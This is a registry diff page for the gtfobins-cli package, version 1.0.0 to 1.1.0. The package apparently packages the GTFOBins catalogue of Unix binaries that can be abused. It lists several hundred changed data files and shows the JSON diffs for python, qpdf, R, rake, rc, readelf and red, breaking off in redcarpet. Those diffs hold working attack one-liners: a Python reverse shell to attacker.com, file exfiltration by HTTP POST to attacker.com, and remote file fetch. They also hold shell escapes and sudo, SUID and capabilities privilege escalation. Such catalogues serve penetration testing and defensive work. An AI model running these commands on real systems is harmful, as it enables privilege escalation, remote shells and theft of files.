gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (477) hide show
  1. gtfo/__init__.py +2 -1
  2. gtfo/cli.py +204 -32
  3. gtfo/data/7z.json +16 -0
  4. gtfo/data/aa-exec.json +22 -0
  5. gtfo/data/ab.json +28 -0
  6. gtfo/data/acr.json +16 -0
  7. gtfo/data/agetty.json +10 -0
  8. gtfo/data/alpine.json +22 -0
  9. gtfo/data/ansible-playbook.json +16 -0
  10. gtfo/data/ansible-test.json +16 -0
  11. gtfo/data/aoss.json +16 -0
  12. gtfo/data/apache2ctl.json +16 -0
  13. gtfo/data/apport-cli.json +22 -0
  14. gtfo/data/apt-get.json +6 -6
  15. gtfo/data/apt.json +8 -8
  16. gtfo/data/aptitude.json +16 -0
  17. gtfo/data/ar.json +6 -4
  18. gtfo/data/aria2c.json +17 -5
  19. gtfo/data/arj.json +28 -0
  20. gtfo/data/arp.json +7 -5
  21. gtfo/data/as.json +22 -0
  22. gtfo/data/ascii-xfr.json +22 -0
  23. gtfo/data/ascii85.json +16 -0
  24. gtfo/data/ash.json +9 -5
  25. gtfo/data/aspell.json +22 -0
  26. gtfo/data/asterisk.json +20 -0
  27. gtfo/data/at.json +3 -1
  28. gtfo/data/atobm.json +6 -4
  29. gtfo/data/awk.json +20 -14
  30. gtfo/data/aws.json +16 -0
  31. gtfo/data/base32.json +7 -4
  32. gtfo/data/base58.json +16 -0
  33. gtfo/data/base64.json +7 -4
  34. gtfo/data/basenc.json +6 -3
  35. gtfo/data/basez.json +22 -0
  36. gtfo/data/bash.json +22 -17
  37. gtfo/data/bashbug.json +14 -0
  38. gtfo/data/batcat.json +22 -0
  39. gtfo/data/bc.json +22 -0
  40. gtfo/data/bconsole.json +22 -0
  41. gtfo/data/bee.json +10 -0
  42. gtfo/data/borg.json +16 -0
  43. gtfo/data/bpftrace.json +6 -3
  44. gtfo/data/bridge.json +22 -0
  45. gtfo/data/bundle.json +32 -0
  46. gtfo/data/bundler.json +7 -4
  47. gtfo/data/busctl.json +14 -3
  48. gtfo/data/busybox.json +17 -8
  49. gtfo/data/byebug.json +4 -1
  50. gtfo/data/bzip2.json +22 -0
  51. gtfo/data/c89.json +28 -0
  52. gtfo/data/c99.json +28 -0
  53. gtfo/data/cabal.json +22 -0
  54. gtfo/data/cancel.json +3 -3
  55. gtfo/data/capsh.json +6 -3
  56. gtfo/data/cargo.json +14 -0
  57. gtfo/data/cat.json +7 -4
  58. gtfo/data/cdist.json +16 -0
  59. gtfo/data/certbot.json +2 -0
  60. gtfo/data/chattr.json +14 -0
  61. gtfo/data/check_by_ssh.json +2 -3
  62. gtfo/data/check_cups.json +4 -3
  63. gtfo/data/check_log.json +20 -18
  64. gtfo/data/check_memory.json +4 -3
  65. gtfo/data/check_raid.json +4 -3
  66. gtfo/data/check_ssl_cert.json +2 -3
  67. gtfo/data/check_statusfile.json +4 -3
  68. gtfo/data/chmod.json +4 -3
  69. gtfo/data/choom.json +22 -0
  70. gtfo/data/chown.json +5 -4
  71. gtfo/data/chroot.json +3 -1
  72. gtfo/data/chrt.json +28 -0
  73. gtfo/data/clamscan.json +22 -0
  74. gtfo/data/clisp.json +16 -0
  75. gtfo/data/cmake.json +28 -0
  76. gtfo/data/cmp.json +22 -0
  77. gtfo/data/cobc.json +3 -1
  78. gtfo/data/code.json +22 -0
  79. gtfo/data/column.json +6 -4
  80. gtfo/data/comm.json +6 -3
  81. gtfo/data/composer.json +3 -0
  82. gtfo/data/cowsay.json +2 -1
  83. gtfo/data/cowthink.json +16 -14
  84. gtfo/data/cp.json +21 -9
  85. gtfo/data/cpan.json +8 -7
  86. gtfo/data/cpio.json +14 -12
  87. gtfo/data/cpulimit.json +6 -3
  88. gtfo/data/crash.json +5 -4
  89. gtfo/data/crontab.json +5 -5
  90. gtfo/data/csh.json +9 -5
  91. gtfo/data/csplit.json +12 -3
  92. gtfo/data/csvtool.json +8 -5
  93. gtfo/data/ctr.json +10 -0
  94. gtfo/data/cupsfilter.json +6 -3
  95. gtfo/data/curl.json +19 -7
  96. gtfo/data/cut.json +7 -4
  97. gtfo/data/dash.json +9 -5
  98. gtfo/data/date.json +7 -5
  99. gtfo/data/dc.json +22 -0
  100. gtfo/data/dd.json +9 -5
  101. gtfo/data/debugfs.json +22 -0
  102. gtfo/data/dhclient.json +10 -0
  103. gtfo/data/dialog.json +7 -5
  104. gtfo/data/diff.json +11 -4
  105. gtfo/data/dig.json +6 -4
  106. gtfo/data/distcc.json +22 -0
  107. gtfo/data/dmesg.json +4 -4
  108. gtfo/data/dmidecode.json +10 -0
  109. gtfo/data/dmsetup.json +3 -1
  110. gtfo/data/dnf.json +3 -3
  111. gtfo/data/dnsmasq.json +10 -0
  112. gtfo/data/doas.json +10 -0
  113. gtfo/data/docker.json +9 -6
  114. gtfo/data/dos2unix.json +10 -0
  115. gtfo/data/dosbox.json +32 -0
  116. gtfo/data/dotnet.json +22 -0
  117. gtfo/data/dpkg.json +5 -5
  118. gtfo/data/dstat.json +16 -0
  119. gtfo/data/dvips.json +3 -1
  120. gtfo/data/easy_install.json +14 -11
  121. gtfo/data/eb.json +3 -2
  122. gtfo/data/ed.json +9 -3
  123. gtfo/data/efax.json +16 -0
  124. gtfo/data/elvish.json +34 -0
  125. gtfo/data/emacs.json +11 -6
  126. gtfo/data/enscript.json +16 -0
  127. gtfo/data/env.json +7 -4
  128. gtfo/data/eqn.json +7 -5
  129. gtfo/data/espeak.json +22 -0
  130. gtfo/data/ex.json +30 -22
  131. gtfo/data/exiftool.json +26 -4
  132. gtfo/data/expand.json +7 -5
  133. gtfo/data/expect.json +13 -4
  134. gtfo/data/facter.json +4 -2
  135. gtfo/data/fail2ban-client.json +14 -0
  136. gtfo/data/ffmpeg.json +10 -0
  137. gtfo/data/file.json +8 -8
  138. gtfo/data/find.json +19 -4
  139. gtfo/data/finger.json +5 -6
  140. gtfo/data/firejail.json +35 -0
  141. gtfo/data/fish.json +22 -0
  142. gtfo/data/flock.json +7 -4
  143. gtfo/data/fmt.json +5 -6
  144. gtfo/data/fold.json +7 -4
  145. gtfo/data/fping.json +16 -0
  146. gtfo/data/ftp.json +5 -3
  147. gtfo/data/fzf.json +90 -0
  148. gtfo/data/gawk.json +17 -11
  149. gtfo/data/gcc.json +12 -4
  150. gtfo/data/gcloud.json +16 -0
  151. gtfo/data/gcore.json +22 -0
  152. gtfo/data/gdb.json +15 -13
  153. gtfo/data/gem.json +8 -8
  154. gtfo/data/genie.json +22 -0
  155. gtfo/data/genisoimage.json +11 -4
  156. gtfo/data/getent.json +14 -0
  157. gtfo/data/ghc.json +4 -2
  158. gtfo/data/ghci.json +2 -0
  159. gtfo/data/gimp.json +19 -14
  160. gtfo/data/ginsh.json +22 -0
  161. gtfo/data/git.json +22 -11
  162. gtfo/data/gnuplot.json +16 -0
  163. gtfo/data/go.json +58 -0
  164. gtfo/data/grc.json +16 -0
  165. gtfo/data/grep.json +7 -5
  166. gtfo/data/gtester.json +10 -1
  167. gtfo/data/guile.json +16 -0
  168. gtfo/data/gzip.json +14 -5
  169. gtfo/data/hashcat.json +16 -0
  170. gtfo/data/hd.json +7 -5
  171. gtfo/data/head.json +7 -4
  172. gtfo/data/hexdump.json +7 -5
  173. gtfo/data/hg.json +16 -0
  174. gtfo/data/highlight.json +7 -4
  175. gtfo/data/hping3.json +7 -0
  176. gtfo/data/iconv.json +9 -6
  177. gtfo/data/iftop.json +3 -1
  178. gtfo/data/install.json +4 -3
  179. gtfo/data/ionice.json +7 -4
  180. gtfo/data/ip.json +11 -5
  181. gtfo/data/irb.json +13 -8
  182. gtfo/data/ispell.json +22 -0
  183. gtfo/data/java.json +10 -0
  184. gtfo/data/jjs.json +13 -10
  185. gtfo/data/joe.json +22 -0
  186. gtfo/data/join.json +6 -3
  187. gtfo/data/journalctl.json +3 -2
  188. gtfo/data/jq.json +7 -4
  189. gtfo/data/jrunscript.json +13 -10
  190. gtfo/data/jshell.json +35 -0
  191. gtfo/data/jtag.json +16 -0
  192. gtfo/data/julia.json +46 -0
  193. gtfo/data/knife.json +16 -0
  194. gtfo/data/ksh.json +19 -15
  195. gtfo/data/ksshell.json +7 -5
  196. gtfo/data/ksu.json +10 -0
  197. gtfo/data/kubectl.json +30 -0
  198. gtfo/data/last.json +16 -0
  199. gtfo/data/lastb.json +16 -0
  200. gtfo/data/latex.json +11 -2
  201. gtfo/data/latexmk.json +9 -6
  202. gtfo/data/ld.so.json +7 -5
  203. gtfo/data/ldconfig.json +1 -2
  204. gtfo/data/less.json +17 -7
  205. gtfo/data/lessfilter.json +22 -0
  206. gtfo/data/lesspipe.json +16 -0
  207. gtfo/data/lftp.json +22 -0
  208. gtfo/data/links.json +22 -0
  209. gtfo/data/ln.json +10 -0
  210. gtfo/data/loginctl.json +16 -0
  211. gtfo/data/logrotate.json +38 -0
  212. gtfo/data/logsave.json +7 -4
  213. gtfo/data/look.json +7 -4
  214. gtfo/data/lp.json +10 -0
  215. gtfo/data/ltrace.json +7 -5
  216. gtfo/data/lua.json +21 -15
  217. gtfo/data/lualatex.json +6 -4
  218. gtfo/data/luatex.json +6 -4
  219. gtfo/data/lwp-download.json +7 -5
  220. gtfo/data/lwp-request.json +4 -2
  221. gtfo/data/m4.json +59 -0
  222. gtfo/data/mail.json +3 -3
  223. gtfo/data/make.json +15 -7
  224. gtfo/data/man.json +5 -3
  225. gtfo/data/mawk.json +12 -6
  226. gtfo/data/minicom.json +26 -0
  227. gtfo/data/more.json +7 -3
  228. gtfo/data/mosh-server.json +10 -0
  229. gtfo/data/mosquitto.json +22 -0
  230. gtfo/data/mount.json +2 -2
  231. gtfo/data/msfconsole.json +16 -0
  232. gtfo/data/msgattrib.json +22 -0
  233. gtfo/data/msgcat.json +22 -0
  234. gtfo/data/msgconv.json +22 -0
  235. gtfo/data/msgfilter.json +28 -0
  236. gtfo/data/msgmerge.json +22 -0
  237. gtfo/data/msguniq.json +22 -0
  238. gtfo/data/mtr.json +5 -4
  239. gtfo/data/multitime.json +22 -0
  240. gtfo/data/mutt.json +14 -0
  241. gtfo/data/mv.json +5 -4
  242. gtfo/data/mypy.json +26 -0
  243. gtfo/data/mysql.json +9 -7
  244. gtfo/data/nano.json +9 -5
  245. gtfo/data/nasm.json +22 -0
  246. gtfo/data/nawk.json +16 -10
  247. gtfo/data/nc.json +13 -13
  248. gtfo/data/ncdu.json +22 -0
  249. gtfo/data/ncftp.json +22 -0
  250. gtfo/data/neofetch.json +22 -0
  251. gtfo/data/nft.json +22 -0
  252. gtfo/data/nginx.json +22 -0
  253. gtfo/data/nice.json +7 -4
  254. gtfo/data/nl.json +7 -5
  255. gtfo/data/nm.json +22 -0
  256. gtfo/data/nmap.json +26 -16
  257. gtfo/data/node.json +18 -12
  258. gtfo/data/nohup.json +10 -6
  259. gtfo/data/npm.json +6 -0
  260. gtfo/data/nroff.json +3 -1
  261. gtfo/data/nsenter.json +5 -3
  262. gtfo/data/ntpdate.json +22 -0
  263. gtfo/data/nvim.json +16 -0
  264. gtfo/data/octave.json +34 -0
  265. gtfo/data/od.json +7 -5
  266. gtfo/data/openssl.json +21 -16
  267. gtfo/data/openvpn.json +13 -5
  268. gtfo/data/openvt.json +1 -1
  269. gtfo/data/opkg.json +10 -0
  270. gtfo/data/pandoc.json +40 -0
  271. gtfo/data/passwd.json +10 -0
  272. gtfo/data/paste.json +6 -3
  273. gtfo/data/pax.json +10 -0
  274. gtfo/data/pdb.json +3 -2
  275. gtfo/data/pdflatex.json +5 -2
  276. gtfo/data/pdftex.json +3 -0
  277. gtfo/data/perf.json +22 -0
  278. gtfo/data/perl.json +28 -7
  279. gtfo/data/perlbug.json +16 -0
  280. gtfo/data/pexec.json +22 -0
  281. gtfo/data/pg.json +7 -3
  282. gtfo/data/php.json +25 -15
  283. gtfo/data/pic.json +10 -1
  284. gtfo/data/pico.json +8 -4
  285. gtfo/data/pidstat.json +22 -0
  286. gtfo/data/pip.json +19 -8
  287. gtfo/data/pipx.json +25 -0
  288. gtfo/data/pkexec.json +3 -2
  289. gtfo/data/pkg.json +1 -1
  290. gtfo/data/plymouth.json +10 -0
  291. gtfo/data/podman.json +10 -0
  292. gtfo/data/poetry.json +26 -0
  293. gtfo/data/posh.json +22 -0
  294. gtfo/data/pr.json +6 -4
  295. gtfo/data/procmail.json +10 -0
  296. gtfo/data/pry.json +4 -1
  297. gtfo/data/psftp.json +22 -0
  298. gtfo/data/psql.json +14 -1
  299. gtfo/data/ptx.json +22 -0
  300. gtfo/data/puppet.json +6 -4
  301. gtfo/data/pwsh.json +22 -0
  302. gtfo/data/pygmentize.json +14 -0
  303. gtfo/data/pyright.json +32 -0
  304. gtfo/data/python.json +21 -15
  305. gtfo/data/qpdf.json +18 -0
  306. gtfo/data/r.json +16 -0
  307. gtfo/data/rake.json +13 -4
  308. gtfo/data/rc.json +22 -0
  309. gtfo/data/readelf.json +7 -5
  310. gtfo/data/red.json +7 -5
  311. gtfo/data/redcarpet.json +5 -4
  312. gtfo/data/redis.json +10 -0
  313. gtfo/data/restic.json +13 -5
  314. gtfo/data/rev.json +6 -3
  315. gtfo/data/rlogin.json +3 -4
  316. gtfo/data/rlwrap.json +9 -6
  317. gtfo/data/rpm.json +9 -5
  318. gtfo/data/rpmdb.json +22 -0
  319. gtfo/data/rpmquery.json +6 -3
  320. gtfo/data/rpmverify.json +22 -0
  321. gtfo/data/rsync.json +7 -4
  322. gtfo/data/rsyslogd.json +16 -0
  323. gtfo/data/rtorrent.json +16 -0
  324. gtfo/data/ruby.json +17 -11
  325. gtfo/data/run-mailcap.json +7 -7
  326. gtfo/data/run-parts.json +7 -4
  327. gtfo/data/runscript.json +22 -0
  328. gtfo/data/rustdoc.json +26 -0
  329. gtfo/data/rustfmt.json +15 -0
  330. gtfo/data/rustup.json +22 -0
  331. gtfo/data/rview.json +36 -34
  332. gtfo/data/rvim.json +41 -35
  333. gtfo/data/sash.json +8 -5
  334. gtfo/data/scanmem.json +22 -0
  335. gtfo/data/scp.json +6 -3
  336. gtfo/data/screen.json +9 -7
  337. gtfo/data/script.json +6 -4
  338. gtfo/data/scrot.json +22 -0
  339. gtfo/data/sed.json +12 -9
  340. gtfo/data/service.json +5 -3
  341. gtfo/data/setarch.json +7 -4
  342. gtfo/data/setcap.json +16 -0
  343. gtfo/data/setfacl.json +16 -0
  344. gtfo/data/setlock.json +22 -0
  345. gtfo/data/sftp.json +7 -5
  346. gtfo/data/sg.json +1 -0
  347. gtfo/data/shred.json +16 -0
  348. gtfo/data/shuf.json +5 -5
  349. gtfo/data/slsh.json +22 -0
  350. gtfo/data/smbclient.json +9 -8
  351. gtfo/data/snap.json +2 -2
  352. gtfo/data/socat.json +23 -11
  353. gtfo/data/socket.json +16 -0
  354. gtfo/data/soelim.json +7 -5
  355. gtfo/data/softlimit.json +22 -0
  356. gtfo/data/sort.json +13 -4
  357. gtfo/data/split.json +15 -4
  358. gtfo/data/sqlite3.json +12 -6
  359. gtfo/data/sqlmap.json +16 -0
  360. gtfo/data/ss.json +6 -4
  361. gtfo/data/ssh-agent.json +22 -0
  362. gtfo/data/ssh-copy-id.json +24 -0
  363. gtfo/data/ssh-keygen.json +6 -6
  364. gtfo/data/ssh-keyscan.json +22 -0
  365. gtfo/data/ssh.json +11 -7
  366. gtfo/data/sshfs.json +42 -0
  367. gtfo/data/sshpass.json +22 -0
  368. gtfo/data/sshuttle.json +10 -0
  369. gtfo/data/start-stop-daemon.json +7 -4
  370. gtfo/data/stdbuf.json +7 -4
  371. gtfo/data/strace.json +8 -5
  372. gtfo/data/strings.json +7 -5
  373. gtfo/data/su.json +3 -2
  374. gtfo/data/sudo.json +10 -0
  375. gtfo/data/svn.json +10 -0
  376. gtfo/data/sysctl.json +13 -5
  377. gtfo/data/systemctl.json +7 -4
  378. gtfo/data/systemd-resolve.json +10 -0
  379. gtfo/data/systemd-run.json +60 -0
  380. gtfo/data/tac.json +7 -5
  381. gtfo/data/tail.json +7 -4
  382. gtfo/data/tailscale.json +10 -0
  383. gtfo/data/tar.json +14 -11
  384. gtfo/data/task.json +16 -0
  385. gtfo/data/taskset.json +7 -4
  386. gtfo/data/tasksh.json +22 -0
  387. gtfo/data/tbl.json +6 -4
  388. gtfo/data/tclsh.json +11 -6
  389. gtfo/data/tcpdump.json +11 -4
  390. gtfo/data/tcsh.json +28 -0
  391. gtfo/data/tdbtool.json +22 -0
  392. gtfo/data/tee.json +9 -7
  393. gtfo/data/telnet.json +6 -6
  394. gtfo/data/terraform.json +22 -0
  395. gtfo/data/tex.json +3 -0
  396. gtfo/data/tftp.json +5 -5
  397. gtfo/data/tic.json +22 -0
  398. gtfo/data/time.json +7 -5
  399. gtfo/data/timedatectl.json +16 -0
  400. gtfo/data/timeout.json +7 -4
  401. gtfo/data/tmate.json +22 -0
  402. gtfo/data/tmux.json +15 -3
  403. gtfo/data/top.json +2 -2
  404. gtfo/data/torify.json +16 -0
  405. gtfo/data/torsocks.json +16 -0
  406. gtfo/data/troff.json +6 -4
  407. gtfo/data/tsc.json +26 -0
  408. gtfo/data/tshark.json +10 -0
  409. gtfo/data/ul.json +7 -5
  410. gtfo/data/unexpand.json +7 -4
  411. gtfo/data/uniq.json +7 -5
  412. gtfo/data/unshare.json +7 -4
  413. gtfo/data/unsquashfs.json +16 -0
  414. gtfo/data/unzip.json +16 -0
  415. gtfo/data/update-alternatives.json +4 -4
  416. gtfo/data/urlget.json +16 -0
  417. gtfo/data/uudecode.json +22 -0
  418. gtfo/data/uuencode.json +21 -18
  419. gtfo/data/uv.json +43 -0
  420. gtfo/data/vagrant.json +22 -0
  421. gtfo/data/valgrind.json +5 -3
  422. gtfo/data/varnishncsa.json +16 -0
  423. gtfo/data/vi.json +18 -6
  424. gtfo/data/view.json +41 -36
  425. gtfo/data/vigr.json +16 -0
  426. gtfo/data/vim.json +43 -38
  427. gtfo/data/vimdiff.json +41 -36
  428. gtfo/data/vipw.json +16 -0
  429. gtfo/data/virsh.json +6 -5
  430. gtfo/data/volatility.json +10 -0
  431. gtfo/data/w3m.json +22 -0
  432. gtfo/data/wall.json +10 -0
  433. gtfo/data/watch.json +9 -6
  434. gtfo/data/wc.json +6 -4
  435. gtfo/data/wg-quick.json +10 -0
  436. gtfo/data/wget.json +17 -11
  437. gtfo/data/whiptail.json +22 -0
  438. gtfo/data/whois.json +9 -10
  439. gtfo/data/wireshark.json +16 -0
  440. gtfo/data/wish.json +5 -3
  441. gtfo/data/xargs.json +9 -8
  442. gtfo/data/xdg-user-dir.json +16 -0
  443. gtfo/data/xdotool.json +22 -0
  444. gtfo/data/xelatex.json +5 -2
  445. gtfo/data/xetex.json +3 -0
  446. gtfo/data/xmodmap.json +6 -4
  447. gtfo/data/xmore.json +6 -4
  448. gtfo/data/xpad.json +16 -0
  449. gtfo/data/xxd.json +9 -5
  450. gtfo/data/xz.json +7 -4
  451. gtfo/data/yarn.json +20 -0
  452. gtfo/data/yash.json +22 -0
  453. gtfo/data/yelp.json +2 -2
  454. gtfo/data/yt-dlp.json +24 -0
  455. gtfo/data/yum.json +4 -4
  456. gtfo/data/zathura.json +16 -0
  457. gtfo/data/zcat.json +10 -0
  458. gtfo/data/zic.json +20 -0
  459. gtfo/data/zip.json +5 -1
  460. gtfo/data/zless.json +15 -0
  461. gtfo/data/zsh.json +10 -5
  462. gtfo/data/zsoelim.json +7 -5
  463. gtfo/data/zypper.json +5 -3
  464. gtfo/images/filter-with.png +0 -0
  465. gtfo/images/search-docker.png +0 -0
  466. gtfo/images/search-for.png +0 -0
  467. gtfo/images/search-interactive.png +0 -0
  468. gtfo/images/sqlit3.png +0 -0
  469. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
  470. gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
  471. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
  472. gtfo/data/octave-cli.json +0 -30
  473. gtfo/data/ssh_keyscan.json +0 -20
  474. gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
  475. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
  476. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
  477. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
gtfo/data/python.json CHANGED
@@ -1,62 +1,68 @@
1
1
  {
2
- "description": "The payloads are compatible with both Python version 2 and 3.",
3
2
  "functions": {
4
3
  "shell": [
5
4
  {
6
- "code": "python -c 'import os; os.system(\"/bin/sh\")'"
5
+ "description": "",
6
+ "code": "python -c 'import os; os.system(\"/bin/sh\")'\n"
7
7
  }
8
8
  ],
9
9
  "reverse-shell": [
10
10
  {
11
- "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
12
- "code": "python -c 'import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")'\n"
11
+ "description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
12
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\npython -c 'import sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")'\n"
13
13
  }
14
14
  ],
15
15
  "file-upload": [
16
16
  {
17
- "description": "Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
18
- "code": "python -c 'import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))'\n"
17
+ "description": "Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
18
+ "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\npython -c 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))'\n"
19
19
  },
20
20
  {
21
21
  "description": "Serve files in the local folder running an HTTP server.",
22
- "code": "python -c 'import sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()'\n"
22
+ "code": "export LPORT=8888\npython -c 'import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()'\n"
23
23
  }
24
24
  ],
25
25
  "file-download": [
26
26
  {
27
27
  "description": "Fetch a remote file via HTTP GET request.",
28
- "code": "python -c 'import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")'\n"
28
+ "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\npython -c 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])'\n"
29
29
  }
30
30
  ],
31
31
  "file-write": [
32
32
  {
33
- "code": "python -c 'open(\"[file]\",\"w+\").write(\"DATA\")'"
33
+ "description": "",
34
+ "code": "python -c 'open(\"file_to_write\",\"w+\").write(\"DATA\")'\n"
34
35
  }
35
36
  ],
36
37
  "file-read": [
37
38
  {
38
- "code": "python -c 'print(open(\"[file]\").read())'"
39
+ "description": "",
40
+ "code": "python -c 'print(open(\"file_to_read\").read())'\n"
39
41
  }
40
42
  ],
41
43
  "library-load": [
42
44
  {
43
- "code": "python -c 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")'"
45
+ "description": "",
46
+ "code": "python -c 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")'\n"
44
47
  }
45
48
  ],
46
49
  "suid": [
47
50
  {
48
- "code": "./python -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'"
51
+ "description": "",
52
+ "code": "./python -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'\n"
49
53
  }
50
54
  ],
51
55
  "sudo": [
52
56
  {
53
- "code": "sudo python -c 'import os; os.system(\"/bin/sh\")'"
57
+ "description": "",
58
+ "code": "sudo python -c 'import os; os.system(\"/bin/sh\")'\n"
54
59
  }
55
60
  ],
56
61
  "capabilities": [
57
62
  {
58
- "code": "./python -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'"
63
+ "description": "",
64
+ "code": "./python -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'\n"
59
65
  }
60
66
  ]
61
67
  }
62
- }
68
+ }
gtfo/data/qpdf.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "qpdf --empty --add-attachment /path/filename -- out.pdf; qpdf out.pdf --show-attachment=filename"
6
+ },
7
+ {
8
+ "description": "`qpdf` can be used to read any arbitrary file accessible to the running user, by attaching the target file to a valid PDF file, and then accessing that attachment. If the user is allowed to run `qpdf` as an elevated user (e.g with `sudo`), privileged files can be read.",
9
+ "code": "FILE_TO_READ=\"/path/to/file\"\nqpdf --qdf --add-attachment $FILE_TO_READ --key=anykey -- valid.pdf output.pdf\nqpdf --show-attachment=anykey output.pdf"
10
+ }
11
+ ],
12
+ "sudo": [
13
+ {
14
+ "code": "sudo qpdf --empty --add-attachment /path/filename -- out.pdf; qpdf out.pdf --show-attachment=filename"
15
+ }
16
+ ]
17
+ }
18
+ }
gtfo/data/r.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "description": "",
6
+ "code": "R --no-save -e 'system(\"sh\")'\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "description": "",
12
+ "code": "sudo R --no-save -e 'system(\"sh\")'\n"
13
+ }
14
+ ]
15
+ }
16
+ }
gtfo/data/rake.json CHANGED
@@ -1,19 +1,28 @@
1
1
  {
2
2
  "functions": {
3
+ "file-read": [
4
+ {
5
+ "description": "The file is actually parsed and the first wrong line is returned in an error message.",
6
+ "code": "LFILE=file-to-read\nrake -f $LFILE\n"
7
+ }
8
+ ],
3
9
  "shell": [
4
10
  {
5
- "code": "rake -p '`/bin/sh 1>&0`'"
11
+
12
+ "code": "rake -p '`/bin/sh 1>&0`'\n"
6
13
  }
7
14
  ],
8
15
  "sudo": [
9
16
  {
10
- "code": "sudo rake -p '`/bin/sh 1>&0`'"
17
+
18
+ "code": "sudo rake -p '`/bin/sh 1>&0`'\n"
11
19
  }
12
20
  ],
13
21
  "limited-suid": [
14
22
  {
15
- "code": "./rake -p '`/bin/sh 1>&0`'"
23
+
24
+ "code": "./rake -p '`/bin/sh 1>&0`'\n"
16
25
  }
17
26
  ]
18
27
  }
19
- }
28
+ }
gtfo/data/rc.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "rc -c '/bin/sh'\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+
12
+ "code": "./rc -c '/bin/sh -p'\n"
13
+ }
14
+ ],
15
+ "sudo": [
16
+ {
17
+
18
+ "code": "sudo rc -c '/bin/sh'\n"
19
+ }
20
+ ]
21
+ }
22
+ }
gtfo/data/readelf.json CHANGED
@@ -1,20 +1,22 @@
1
1
  {
2
- "description": "Each line is corrupted by a prefix string and wrapped inside single quotes. Also consider that lines are actually parsed as `readelf` options thus some file contents may lead to unexpected results.\n",
3
2
  "functions": {
4
3
  "file-read": [
5
4
  {
6
- "code": "readelf -a @[file]\n"
5
+
6
+ "code": "LFILE=file_to_read\nreadelf -a @$LFILE\n"
7
7
  }
8
8
  ],
9
9
  "suid": [
10
10
  {
11
- "code": "./readelf -a @[file]\n"
11
+
12
+ "code": "LFILE=file_to_read\n./readelf -a @$LFILE\n"
12
13
  }
13
14
  ],
14
15
  "sudo": [
15
16
  {
16
- "code": "sudo readelf -a @[file]\n"
17
+
18
+ "code": "LFILE=file_to_read\nsudo readelf -a @$LFILE\n"
17
19
  }
18
20
  ]
19
21
  }
20
- }
22
+ }
gtfo/data/red.json CHANGED
@@ -1,20 +1,22 @@
1
1
  {
2
- "description": "Read and write files limited to the current directory.",
3
2
  "functions": {
4
3
  "file-write": [
5
4
  {
6
- "code": "red [file]\na\nDATA\n.\nw\nq\n"
5
+
6
+ "code": "red file_to_write\na\nDATA\n.\nw\nq\n"
7
7
  }
8
8
  ],
9
9
  "file-read": [
10
10
  {
11
- "code": "red [file]\n,p\nq\n"
11
+
12
+ "code": "red file_to_read\n,p\nq\n"
12
13
  }
13
14
  ],
14
15
  "sudo": [
15
16
  {
16
- "code": "sudo red [file]\na\nDATA\n.\nw\nq\n"
17
+
18
+ "code": "sudo red file_to_write\na\nDATA\n.\nw\nq\n"
17
19
  }
18
20
  ]
19
21
  }
20
- }
22
+ }
gtfo/data/redcarpet.json CHANGED
@@ -1,15 +1,16 @@
1
1
  {
2
- "description": "The file is actually parsed as a Markdown file.",
3
2
  "functions": {
4
3
